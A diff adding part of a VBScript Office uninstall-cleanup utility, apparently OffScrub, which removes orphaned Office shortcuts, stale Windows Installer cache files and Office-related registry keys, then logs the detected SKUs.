+                'Compare if the shortcut target is in the list of executables that will be removed
+                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
+                If Len(sc.TargetPath) > 0 Then
+                    If InStr(sc.TargetPath,"{{") > 0 Then
+                        'Handle Windows Installer shortcuts
+                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
+                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
+                        End If
+                    Else
+                        'Handle regular shortcuts
+                        If NOT fBypass_Stage1 Then
+                            ' Compare against results from component scan
+                            For Each item in dicApps.Items
+                                If LCase(sc.TargetPath) = item Then
+                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
+                                    fDeleteSC = True
+                                    Exit For
+                                End If
+                            Next 'item
+                        Else
+                        End If
+                        If NOT oFso.FileExists(sc.TargetPath) Then
+                            ' Shortcut target does not exist
+                            If InStr (sc.TargetPath, OREF) > 0 Then
+                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
+                                fDeleteSC = True
+                            Else
+                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
+                            End If
+                        Else
+                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
+                        End If
+                    End If
+                End If
+            End If
+            If fDeleteSC Then
+                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
+                sFolder = file.Drive & file.Path
+                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
+                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
+                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
+                End If
+                If fUnPin Then UnPin file
+                If fDelete Then
+                    If fBypass_Stage1 Then UnPin file
+                    DeleteFile file.Path
+                End If
+                fDeleteSC = False
+            End If 'fDeleteSC
+        End If
+	Next
+    On Error Goto 0
+End Sub 'CleanShortcuts
+
+'-------------------------------------------------------------------------------
+'   UnPin
+'
+'   Unpins a shortcut from the taskbar or start menu
+'-------------------------------------------------------------------------------
+Sub UnPin(file)
+    Dim fldItem, verb
+
+    On Error Resume Next
+    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
+    For Each verb in fldItem.Verbs
+        Select Case Replace(verb, "&", "")
+        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
+            verb.DoIt
+        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
+            If iVersionNT = 601 Then verb.DoIt
+        End Select
+    Next
+    On Error Goto 0
+End Sub
+
+
+'=======================================================================================================
+
+Sub DelScrubTmp
+
+    On Error Resume Next
+    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
+
+End Sub 'DelScrubTmp
+'=======================================================================================================
+
+'Ensure there are no unexpected .msi files in the scrub folder
+Sub DeleteMsiScrubCache
+    Dim Folder, File, Files
+
+    Log vbCrLf & "ScrubCache CleanUp"
+    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
+    Set Files = Folder.Files
+    For Each File in Files
+        CheckError "DeleteMsiScrubCache"
+        If LCase(Right(File.Name,4))=".msi" Then
+            CheckError "DeleteMsiScrubCache"
+            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
+        End If
+    Next 'File
+End Sub 'DeleteMsiScrubCache
+'=======================================================================================================
+
+Sub MsiClearOrphanedFiles
+    Const USERSIDEVERYONE = "s-1-1-0"
+    Const MSIINSTALLCONTEXT_ALL = 7
+    Const MSIPATCHSTATE_ALL = 15
+
+    'Error handling inlined
+    On Error Resume Next
+
+    Dim Patch, AllPatches, Product, AllProducts
+    Dim File, Files, Folder
+    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
+
+    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
+    Set Files = Folder.Files
+
+    Log vbCrLf & "Windows Installer cache CleanUp"
+    'Get a complete list of patches
+    Err.Clear
+    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msp)"
+    Else
+        'Fill a comma separated stringlist with all .msp patchfiles
+        For Each Patch in AllPatches
+            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
+            sPatchList = sPatchList & sLocalMsp & ","
+        Next 'Patch
+
+        'Delete all non referenced .msp files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msp" Then
+                If Not InStr(sPatchList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4))
+        Next 'File
+    End If 'Err=0
+
+    'Get a complete list products
+    Err.Clear
+    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msi)"
+    Else
+        'Fill a comma separated stringlist with all .msi files
+        For Each Product in AllProducts
+            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
+            sMsiList = sMsiList & sLocalMsi & ","
+        Next 'Product
+
+        'Delete all non referenced .msi files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msi" Then
+                If Not InStr(sMsiList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4)) = ".msi"
+        Next 'File
+    End If 'Err=0
+
+End Sub 'MsiClearOrphanedFiles
+'=======================================================================================================
+
+Sub RegWipe
+    Dim Item, Name, Sku, key
+    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
+    Dim arrTestNames, arrTestTypes
+    Dim i, iLoopCnt, iPos
+    Dim fDelReg
+
+    Log vbCrLf & "Registry CleanUp"
+    'Wipe registry data
+
+    'User Profile settings
+    Log " - User Policies"
+    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
+    If NOT fKeepUser Then
+        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
+        Log " - User Settings"
+    End If 'fKeepUser
+
+    'Computer specific settings
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        Log " - Machine Settings"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
+        If fRemoveOse OR fForce Then
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","LobiServer", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","BCSSync", False
+            RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\Outlook\"
+        End If
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Office\" & OVERSION & "\"
+        RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\OffDiag\Location\",OVERSIONMAJOR, False
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\"
+
+        Select Case OVERSIONMAJOR
+        Case "11"
+            'Jet_Replication
+            sValue = ""
+            If RegReadValue(HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32","SystemDB",sValue,"REG_SZ") Then
+                If Len(sValue) > Len(sOInstallRoot) Then
+                    If LCase(Left(sValue,Len(sOInstallRoot))) = LCase(sOInstallRoot) Then RegDeleteKey HKCR,"CLSID\{{CC2C83A6-9BE4-11D0-98E7-00C04FC2CAF5}\InprocServer32\"
+                End If
+            End If
+        Case "12"
+        Case "14"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform_Test\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Common\ActiveX Compatibility\{{00024512-0000-0000-C000-000000000046}\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\OneNote\Adapters\","{{456B0D0E-49DD-4C95-8DB6-175F54DE69A3}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{42042206-2D85-11D3-8CFF-005004838597}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{993BE281-6695-4BA5-8A2A-7AACBFAAB69E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{0006F045-0000-0000-C000-000000000046}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{C41662BB-1FA0-4CE0-8DC5-9B7F8279FF97}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{7CCA70DB-DE7A-4FB7-9B2B-52E2335A3B5A}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{506F4668-F13E-4AA1-BB04-B43203AB3CC0}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{D66DC78C-4F61-447F-942B-3FB6980118CF}", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{B4F3A835-0E21-4959-BA22-42B3008E02FF}\"
+            'Groove Extensions
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{99FD978C-D287-4F50-827F-B2C658EDA8E7}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{920E6DB1-9907-4370-B3A0-BAFC03D81399}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{16F3DD56-1AF5-4347-846D-7C10C4192619}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2916C86E-86A6-43FE-8112-43ABE6BF8DCC}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{6C467336-8281-4E60-8204-430CED96822D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{2A541AE1-5BF6-4665-A8A3-CFA9672E4291}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{B5A7F190-DDA6-4420-B3BA-52453494E6CD}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{A449600E-1DC6-4232-B948-9BD794D62056}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{3D60EDA7-9AB4-4DA8-864C-D9B5F2E7281D}", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved\","{{387E725D-DC16-4D76-B310-2C93ED4752A0}", False
+            RegDeleteKey HKLM,"SOFTWARE\Classes\*\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\AllFilesystemObjects\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Classes\Directory\Background\shellex\ContextMenuHandlers\XXX Groove GFS Context Menu Handler XXX\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 1 (GFS Unread Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2 (GFS Stub)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 2.5 (GFS Unread Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 3 (GFS Folder)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\Groove Explorer Icon Overlay 4 (GFS Unread Mark)\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{{72853161-30C5-4D22-B7F9-0BBC1D38A37E}\"
+
+        Case 15
+
+        Case Else
+        End Select
+
+        'Win32Assemblies
+        Log " - Win32Assemblies"
+        If RegEnumKey(HKCR,"Installer\Win32Assemblies\",arrKeys) Then
+            For Each Item in arrKeys
+                If InStr(UCase(Item),OREF)>0 Then RegDeleteKey HKCR,"Installer\Win32Assemblies\"&Item & "\"
+            Next 'Item
+        End If 'RegEnumKey
+        'Groove blocks reinstall if it locates groove.exe over this key
+        If RegKeyExists(HKCR,"GrooveFile\Shell\Open\Command\") Then
+            sValue = ""
+            RegReadValue HKCR,"GrooveFile\Shell\Open\Command\","",sValue,"REG_SZ"
+            If InStr(sValue,"\"&OREF&"\")>0 Then RegDeleteKey HKCR,"GrooveFile\"
+        End If 'RegKeyExists
+    End If 'fRemoveAll
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        For iLoopCnt = 1 to 3
+            Select Case iLoopCnt
+            Case 1
+                'CIW - HKCU
+                sSubKeyName = "Software\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKCU
+            Case 2
+                'CIW - HKLM
+                sSubKeyName = "SOFTWARE\Microsoft\OfficeCustomizeWizard\" & OVERSION & "\RegKeyPaths\"
+                hDefKey = HKLM
+            Case 3
+                'Add/Remove Programs
+                sSubKeyName = REG_ARP
+                hDefKey = HKLM
+            End Select
+
+            If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+                For Each Item in arrKeys
+                    'OFFICEID id
+                    If Len(Item)>37 Then
+                        sGuid = UCase(Left(Item,38))
+                        If Right(sGuid,PRODLEN)=OFFICEID Then
+                            If CheckDelete(sGuid) Then
+                                RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                            End If
+                        End If 'Right(Item,PRODLEN)=OFFICEID
+                    End If 'Len(Item)>37
+                Next 'Item
+                If iLoopCnt < 3 Then
+                    If RegEnumValues(hDefKey,sSubKeyName,arrNames,arrTypes) Then
+                        i = 0
+                        For Each Name in arrNames
+                            If RegReadValue(hDefKey,sSubKeyName,Name,sValue,arrTypes(i)) Then
+                                If sValue = sGuid Then RegDeleteValue hDefKey,sSubKeyName,Name, False
+                            End If
+                            i = i + 1
+                        Next
+                    End If
+                End If
+            End If
+            If NOT RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\"
+            If NOT RegEnumKey(hDefKey,"Software\Microsoft\OfficeCustomizeWizard\11.0\",arrKeys) Then RegDeleteKey hDefKey,"Software\Microsoft\OfficeCustomizeWizard\"
+        Next 'iLoopCnt
+    Case "12"
+        'Add/Remove Programs
+        RegWipeARP
+    Case "14"
+        'Add/Remove Programs
+        RegWipeARP
+    Case Else
+    End Select
+
+    'UpgradeCodes, WI config, WI global config
+    For iLoopCnt = 1 to 5
+        Select Case iLoopCnt
+        Case 1
+            Log " - HKLM UpgradeCodes"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\"
+            hDefKey = HKLM
+        Case 2
+            Log " - HKCR UpgradeCodes"
+            sSubKeyName = "Installer\UpgradeCodes\"
+            hDefKey = HKCR
+        Case 3
+            Log " - HKLM Products"
+            sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\"
+            hDefKey = HKLM
+        Case 4
+            Log " - HKCR Features"
+            sSubKeyName = "Installer\Features\"
+            hDefKey = HKCR
+        Case 5
+            Log " - HKCR Products"
+            sSubKeyName = "Installer\Products\"
+            hDefKey = HKCR
+        Case Else
+            sSubKeyName = ""
+            hDefKey = ""
+        End Select
+        If RegEnumKey(hDefKey,sSubKeyName,arrKeys) Then
+            For Each Item in arrKeys
+                'Ensure we have the expected length for a compressed GUID
+                If Len(Item)=32 Then
+                    'Expand the GUID
+                    sGuid = GetExpandedGuid(Item)
+                    'Check if it's an Office key
+                    If CheckDeleteEx (sGuid) Then
+                        RegDeleteKey hDefKey,sSubKeyName & Item & "\"
+                    Else
+                        If iLoopCnt < 3 Then
+                            'Enum all entries
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If IsArray(arrNames) Then
+                                'Delete entries within removal scope
+                                For Each Name in arrNames
+                                    If Len(Name)=32 Then
+                                        sGuid = GetExpandedGuid(Name)
+                                        If CheckDelete(sGuid) Then RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    Else
+                                        'Invalid data -> delete the value
+                                        RegDeleteValue hDefKey, sSubKeyName & Item & "\", Name, True
+                                    End If
+                                Next 'Name
+                            End If 'IsArray(arrNames)
+                            'If all entries were removed - delete the key
+                            RegEnumValues hDefKey,sSubKeyName & Item,arrNames,arrTypes
+                            If Not IsArray(arrNames) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        Else 'iLoopCnt >= 3
+                            If CheckDelete(sGuid) Then RegDeleteKey hDefKey, sSubKeyName & Item & "\"
+                        End If 'iLoopCnt < 3
+                    End If 'fRemoveAll
+                End If 'Len(Item)=32
+            Next 'Item
+        End If 'RegEnumKey
+    Next 'iLoopCnt
+
+    'Components
+    Log " - Global Components"
+    sSubKeyName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKLM,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If Len(Name)=32 Then
+                                sGuid = GetExpandedGuid(Name)
+                                If CheckDelete(sGuid) Then
+                                    RegDeleteValue HKLM, sSubKeyName & Item & "\", Name, False
+                                    'Check if the key is now empty
+                                    If NOT RegEnumValues(HKLM,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                        If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                    End If
+                                End If
+                            End If '32
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Published Components
+    Log " - Published Components"
+    sSubKeyName = "Installer\Components\"
+    If RegEnumKey(HKCR,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            'Ensure we have the expected length for a compressed GUID
+            If Len(Item)=32 Then
+                If RegEnumValues(HKCR,sSubKeyName & Item,arrNames,arrTypes) Then
+                    If IsArray(arrNames) Then
+                        For Each Name in arrNames
+                            If RegReadValue (HKCR,sSubKeyName & Item, Name, sValue,"REG_MULTI_SZ") Then
+                                arrMultiSzValues = Split(sValue,chr(34))
+                                If IsArray(arrMultiSzValues) Then
+                                    i = -1
+                                    ReDim arrMultiSzNewValues(-1)
+                                    fDelReg = False
+                                    For Each value in arrMultiSzValues
+                                        If Len(value) > 19 Then
+                                            sGuid = ""
+                                            If GetDecodedGuid(Left(value,SQUISHED),sGuid) Then
+                                                If CheckDelete(sGuid) Then
+                                                    fDelReg = True
+                                                Else
+                                                    i = i + 1
+                                                    ReDim Preserve arrMultiSzNewValues(i)
+                                                    arrMultiSzNewValues(i) = value
+                                                End If 'CheckDelete
+                                            End If 'decode
+                                        End If '19
+                                    Next 'Value
+                                    If NOT (i = -1) Then
+                                        If NOT fDetectOnly Then
+                                            If NOT UBound(arrMultiSzValues) = i Then oReg.SetMultiStringValue HKCR,sSubKeyName & Item,Name,arrMultiSzNewValues
+                                        End If
+                                    Else
+                                        If fDelReg Then
+                                            RegDeleteValue HKCR,sSubKeyName & Item & "\", Name, False
+                                            'Check if the key is now empty
+                                            If NOT RegEnumValues(HKCR,sSubKeyName & Item,arrTestNames,arrTestTypes) Then
+                                                If NOT dicDelRegKey.Exists(sSubKeyName&Item&"\") Then dicDelRegKey.Add sSubKeyName&Item&"\",HKCR
+                                            End If
+                                        End If 'DelReg
+                                    End If
+                                End If 'IsArray
+                            End If
+                        Next 'Name
+                    End If 'IsArray
+                End If 'RegEnumValues
+            End If '32
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Delivery
+    Log " - Delivery"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\Delivery\SourceEngine\Downloads\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item) > 37 Then
+                If fRemoveAll Then
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) OR _
+                       LCase(Right(Item,7))=OVERSIONMAJOR&".data" Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                Else
+                    If (Mid(Item,27,PRODLEN)=OFFICEID AND Mid(Item,4,2)=OVERSIONMAJOR) AND _
+                       CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+                End If
+            End If '37
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Registration
+    Log " - HKLM Registration"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\Registration\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'User Preconfigurations
+    Log " - HKLM User Preconfigurations"
+    hDefKey = HKLM
+    sSubKeyName = "SOFTWARE\Microsoft\Office\"&OVERSION&"\User Settings\"
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            If Len(Item)>37 Then
+                If CheckDelete(UCase(Left(Item,38))) Then RegDeleteKey HKLM,sSubKeyName & Item & "\"
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+    'Known Keypath settings
+    Log " - Detcted KeyPath settings"
+    For Each key in dicDelRegKey.Keys
+        If Right(key,1) = "\" Then
+            RegDeleteKey dicDelRegKey.Item(key),key
+        Else
+            iPos = InStrRev(Key,"\")
+            If iPos > 0 Then RegDeleteValue dicDelRegKey.Item(key), Left(key,iPos - 1), Mid(key,iPos+1), False
+        End If
+    Next
+
+    'Temporary entries in ARP
+    TmpKeyCleanUp
+End Sub 'RegWipe
+'=======================================================================================================
+
+'Clean up Add/Remove Programs registry
+Sub RegWipeARP
+
+    Dim Item, Name, Sku, key
+    Dim sSubKeyName, sCurKey, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys
+
+    'Add/Remove Programs
+    sSubKeyName = REG_ARP
+    If RegEnumKey(HKLM,sSubKeyName,arrKeys) Then
+        For Each Item in arrKeys
+            '*0FF1CE*
+            If Len(Item)>37 Then
+                sGuid = UCase(Left(Item,38))
+                If CheckDeleteEx(sGuid) Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If 'Len(Item)>37
+
+            'Config entries
+            sCurKey = sSubKeyName & Item & "\"
+            fSystemComponent0 = Not (RegReadValue(HKLM,sCurKey,"SystemComponent",sValue,"REG_DWORD") AND (sValue = "1"))
+            fPackages = RegReadValue(HKLM,sCurKey,OPACKAGE,sValue,"REG_MULTI_SZ")
+            fDisplayVersion = RegReadValue(HKLM,sCurKey,"DisplayVersion",sValue,"REG_SZ")
+            If fDisplayVersion AND Len(sValue) > 1 Then
+                fDisplayVersion = (Left(sValue,2) = OVERSIONMAJOR)
+            End If
+            If (fSystemComponent0 AND fPackages AND fDisplayVersion) Then
+                fKeep = False
+                If Not fRemoveAll Then
+                    For Each Sku in dictionaryKeepSku.Keys
+                        If UCase(Item) = OREGREF & Sku Then
+                            fkeep = True
+                            Exit For
+                        End If
+                    Next 'Sku
+                End If
+                If Not fkeep Then RegDeleteKey HKLM, sSubKeyName & Item
+            End If
+        Next 'Item
+    End If 'RegEnumKey
+
+End Sub 'RegWipeARP
+'=======================================================================================================
+
+'Clean up temporary registry keys
+Sub TmpKeyCleanUp
+    Dim TmpKey
+
+    If fLogInitialized Then Log " - temporary OffScrub registry entries"
+    If IsArray(arrTmpSKUs) Then
+        For Each TmpKey in arrTmpSKUs
+            oReg.DeleteKey HKLM, REG_ARP & TmpKey
+        Next 'Item
+    End If 'IsArray
+End Sub 'TmpKeyCleanUp
+
+'=======================================================================================================
+' Helper Functions
+'=======================================================================================================
+
+'Create a log with the results of the SKU detection
+Sub LogSkuResults
+    Dim SkuLog, SkuKey , p
+
+    On Error Resume Next 'Don't fail on logging
+
+    Set SkuLog = oFso.OpenTextFile(sScrubDir & "\SkuLog.txt",FOR_WRITING,True,True)
+
+    SkuLog.WriteLine "Installed SKUs (All):"
+    SkuLog.WriteLine "====================="
+    For Each SkuKey in dicInstalledSku.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Server SKUs:"
+    SkuLog.WriteLine          "============"
+    For Each SkuKey in dicSrv.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Suite SKUs:"
+    SkuLog.WriteLine          "=================="
+    For Each SkuKey in dicCSuite.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
+    SkuLog.WriteLine vbCrLf & "Client Standalone SKUs:"
+    SkuLog.WriteLine          "======================="
+    For Each SkuKey in dicCSingle.Keys
+        SkuLog.WriteLine " - " & SkuKey
+    Next 'Key
+
